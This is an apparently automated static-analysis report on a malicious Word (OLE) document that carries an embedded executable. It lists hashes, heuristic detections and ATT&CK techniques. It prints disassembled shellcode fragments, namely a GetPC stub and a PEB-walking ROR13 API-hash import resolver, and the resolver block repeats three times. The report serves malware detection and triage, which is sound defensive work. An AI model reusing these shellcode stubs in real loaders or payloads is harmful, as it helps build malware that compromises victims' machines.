Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 bc7b1c64edb10107…

MALICIOUS

Office (OLE) / .DOC

228.5 KB First seen: 2026-05-10
MD5: 0f5c289125346738593f8b8ffba1b1a9 SHA-1: f416d64a331f2912e80ece34eacef124d627fae7 SHA-256: bc7b1c64edb101071a038f218ad0ef9abd108c52fa2624c3c04da7200dd8f921
322 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The OLE file contains an embedded PE executable, indicating it is designed to deliver a secondary payload. Heuristics suggest the use of API hashing and LoadLibrary/GetProcAddress, common in shellcode execution. The document body is heavily corrupted and unreadable, providing no further context on the lure.

Heuristics 9

  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • x86 GetPC stub (CALL $+5; POP EAX) high SC_GETPC_CALL
    x86 GetPC stub (CALL $+5; POP EAX)
    Disassembly
    x86 disassembly · validity: code (0.984) — 8/8 branch targets land on an instruction boundary (100% coherence)
    00016C49  e800000000        call 0x16c4e
00016C4E  58                pop eax
00016C4F  83c005            add eax, 5
00016C52  c3                ret
00016C53  f3a4              rep movsb byte ptr es:[edi], byte ptr [esi]
00016C55  33c0              xor eax, eax
00016C57  8bcb              mov ecx, ebx
00016C59  f3aa              rep stosb byte ptr es:[edi], al
00016C5B  5d                pop ebp
00016C5C  58                pop eax
00016C5D  6a00              push 0
00016C5F  50                push eax
00016C60  ffd5              call ebp
00016C62  8bec              mov ebp, esp
00016C64  ff5618            call dword ptr [esi + 0x18]
00016C67  50                push eax
00016C68  ff7620            push dword ptr [esi + 0x20]
00016C6B  8b4f14            mov ecx, dword ptr [edi + 0x14]
00016C6E  8b07              mov eax, dword ptr [edi]
00016C70  8bd0              mov edx, eax
00016C72  03d1              add edx, ecx
00016C74  8b5f10            mov ebx, dword ptr [edi + 0x10]
00016C77  03d9              add ebx, ecx
00016C79  2bda              sub ebx, edx
00016C7B  8b7710            mov esi, dword ptr [edi + 0x10]
00016C7E  8b3f              mov edi, dword ptr [edi]
00016C80  ffe5              jmp ebp
00016C82  ff5618            call dword ptr [esi + 0x18]
00016C85  6a00              push 0
00016C87  50                push eax
00016C88  ff5620            call dword ptr [esi + 0x20]
00016C8B  c3                ret
00016C8C  55                push ebp
00016C8D  56                push esi
00016C8E  64a130000000      mov eax, dword ptr fs:[0x30]
00016C94  85c0              test eax, eax
00016C96  780c              js 0x16ca4
00016C98  8b400c            mov eax, dword ptr [eax + 0xc]
00016C9B  8b701c            mov esi, dword ptr [eax + 0x1c]
00016C9E  ad                lodsd eax, dword ptr [esi]
00016C9F  8b6808            mov ebp, dword ptr [eax + 8]
00016CA2  eb09              jmp 0x16cad
00016CA4  8b4034            mov eax, dword ptr [eax + 0x34]
00016CA7  8b                .byte 0x8b
00016CA8  a8                .byte 0xa8
  • PEB access via FS segment (x86) high SC_PEB_ACCESS
    PEB access via FS segment (x86)
    Disassembly
    x86 disassembly · validity: code (0.953) — 9/9 branch targets land on an instruction boundary (100% coherence)
    00016745  64a130000000      mov eax, dword ptr fs:[0x30]
0001674B  8b400c            mov eax, dword ptr [eax + 0xc]
0001674E  8b701c            mov esi, dword ptr [eax + 0x1c]
00016751  ad                lodsd eax, dword ptr [esi]
00016752  8b4008            mov eax, dword ptr [eax + 8]
00016755  5e                pop esi
00016756  c3                ret
00016757  60                pushal
00016758  8b6c2424          mov ebp, dword ptr [esp + 0x24]
0001675C  8b453c            mov eax, dword ptr [ebp + 0x3c]
0001675F  8b542878          mov edx, dword ptr [eax + ebp + 0x78]
00016763  03d5              add edx, ebp
00016765  8b4a18            mov ecx, dword ptr [edx + 0x18]
00016768  8b5a20            mov ebx, dword ptr [edx + 0x20]
0001676B  03dd              add ebx, ebp
0001676D  e334              jecxz 0x167a3
0001676F  49                dec ecx
00016770  8b348b            mov esi, dword ptr [ebx + ecx*4]
00016773  03f5              add esi, ebp
00016775  33ff              xor edi, edi
00016777  33c0              xor eax, eax
00016779  fc                cld
0001677A  ac                lodsb al, byte ptr [esi]
0001677B  84c0              test al, al
0001677D  7407              je 0x16786
0001677F  c1cf0d            ror edi, 0xd
00016782  03f8              add edi, eax
00016784  ebf4              jmp 0x1677a
00016786  3b7c2428          cmp edi, dword ptr [esp + 0x28]
0001678A  75e1              jne 0x1676d
0001678C  8b5a24            mov ebx, dword ptr [edx + 0x24]
0001678F  03dd              add ebx, ebp
00016791  668b0c4b          mov cx, word ptr [ebx + ecx*2]
00016795  8b5a1c            mov ebx, dword ptr [edx + 0x1c]
00016798  03dd              add ebx, ebp
0001679A  8b048b            mov eax, dword ptr [ebx + ecx*4]
0001679D  03c5              add eax, ebp
0001679F  8944241c          mov dword ptr [esp + 0x1c], eax
000167A3  61                popal
000167A4  c2                .byte 0xc2
  • PEB API-hash resolver high SC_API_HASH_RESOLVER
    PEB access followed by ROR13-style API hashing, a common position-independent shellcode import resolver
    Disassembly
    x86 disassembly · validity: code (0.953) — 9/9 branch targets land on an instruction boundary (100% coherence)
    00016745  64a130000000      mov eax, dword ptr fs:[0x30]
0001674B  8b400c            mov eax, dword ptr [eax + 0xc]
0001674E  8b701c            mov esi, dword ptr [eax + 0x1c]
00016751  ad                lodsd eax, dword ptr [esi]
00016752  8b4008            mov eax, dword ptr [eax + 8]
00016755  5e                pop esi
00016756  c3                ret
00016757  60                pushal
00016758  8b6c2424          mov ebp, dword ptr [esp + 0x24]
0001675C  8b453c            mov eax, dword ptr [ebp + 0x3c]
0001675F  8b542878          mov edx, dword ptr [eax + ebp + 0x78]
00016763  03d5              add edx, ebp
00016765  8b4a18            mov ecx, dword ptr [edx + 0x18]
00016768  8b5a20            mov ebx, dword ptr [edx + 0x20]
0001676B  03dd              add ebx, ebp
0001676D  e334              jecxz 0x167a3
0001676F  49                dec ecx
00016770  8b348b            mov esi, dword ptr [ebx + ecx*4]
00016773  03f5              add esi, ebp
00016775  33ff              xor edi, edi
00016777  33c0              xor eax, eax
00016779  fc                cld
0001677A  ac                lodsb al, byte ptr [esi]
0001677B  84c0              test al, al
0001677D  7407              je 0x16786
0001677F  c1cf0d            ror edi, 0xd
00016782  03f8              add edi, eax
00016784  ebf4              jmp 0x1677a
00016786  3b7c2428          cmp edi, dword ptr [esp + 0x28]
0001678A  75e1              jne 0x1676d
0001678C  8b5a24            mov ebx, dword ptr [edx + 0x24]
0001678F  03dd              add ebx, ebp
00016791  668b0c4b          mov cx, word ptr [ebx + ecx*2]
00016795  8b5a1c            mov ebx, dword ptr [edx + 0x1c]
00016798  03dd              add ebx, ebp
0001679A  8b048b            mov eax, dword ptr [ebx + ecx*4]
0001679D  03c5              add eax, ebp
0001679F  8944241c          mov dword ptr [esp + 0x1c], eax
000167A3  61                popal
000167A4  c2                .byte 0xc2
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • OLE file contains raw shellcode-like resolver payload high OLE_RAW_SHELLCODE_PAYLOAD
    Malformed or legacy OLE file contains raw PEB/API-resolver shellcode bytes at the file level, including loader-walk instructions and a nearby payload marker. This indicates an exploit payload carrier but does not identify a specific parser CVE.
    Disassembly
    x86 disassembly · validity: code (0.953) — 9/9 branch targets land on an instruction boundary (100% coherence)
    00016745  64a130000000      mov eax, dword ptr fs:[0x30]
0001674B  8b400c            mov eax, dword ptr [eax + 0xc]
0001674E  8b701c            mov esi, dword ptr [eax + 0x1c]
00016751  ad                lodsd eax, dword ptr [esi]
00016752  8b4008            mov eax, dword ptr [eax + 8]
00016755  5e                pop esi
00016756  c3                ret
00016757  60                pushal
00016758  8b6c2424          mov ebp, dword ptr [esp + 0x24]
0001675C  8b453c            mov eax, dword ptr [ebp + 0x3c]
0001675F  8b542878          mov edx, dword ptr [eax + ebp + 0x78]
00016763  03d5              add edx, ebp
00016765  8b4a18            mov ecx, dword ptr [edx + 0x18]
00016768  8b5a20            mov ebx, dword ptr [edx + 0x20]
0001676B  03dd              add ebx, ebp
0001676D  e334              jecxz 0x167a3
0001676F  49                dec ecx
00016770  8b348b            mov esi, dword ptr [ebx + ecx*4]
00016773  03f5              add esi, ebp
00016775  33ff              xor edi, edi
00016777  33c0              xor eax, eax
00016779  fc                cld
0001677A  ac                lodsb al, byte ptr [esi]
0001677B  84c0              test al, al
0001677D  7407              je 0x16786
0001677F  c1cf0d            ror edi, 0xd
00016782  03f8              add edi, eax
00016784  ebf4              jmp 0x1677a
00016786  3b7c2428          cmp edi, dword ptr [esp + 0x28]
0001678A  75e1              jne 0x1676d
0001678C  8b5a24            mov ebx, dword ptr [edx + 0x24]
0001678F  03dd              add ebx, ebp
00016791  668b0c4b          mov cx, word ptr [ebx + ecx*2]
00016795  8b5a1c            mov ebx, dword ptr [edx + 0x1c]
00016798  03dd              add ebx, ebp
0001679A  8b048b            mov eax, dword ptr [ebx + ecx*4]
0001679D  03c5              add eax, ebp
0001679F  8944241c          mov dword ptr [esp + 0x1c], eax
000167A3  61                popal
000167A4  c2                .byte 0xc2
  • CFB header with no readable streams medium OLE_PARSE_EMPTY_STREAMS
    The file begins with a valid OLE2/CFB header but exposes no directory streams. A non-empty compound document with an unreadable directory is anomalous — it is seen with truncated/corrupt files and, more importantly, with content deliberately shifted off byte boundaries to defeat parsers while the host application still recovers the object.
  • Unsupported Office format for VBA extraction info OFFICE_FORMAT_UNSUPPORTED
    The Analyzer could not extract VBA macros: the document may be legacy, encrypted or malformed.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_office_00018200.exe embedded-pe Office MZ+PE at offset 0x18200 135168 bytes
SHA-256: e9df6f5a625dee90c644fcf00032f79cdd8b9e6eb7fbb703321bc632cd70676e

Open this report in the interactive analyzer, or submit your own file for analysis.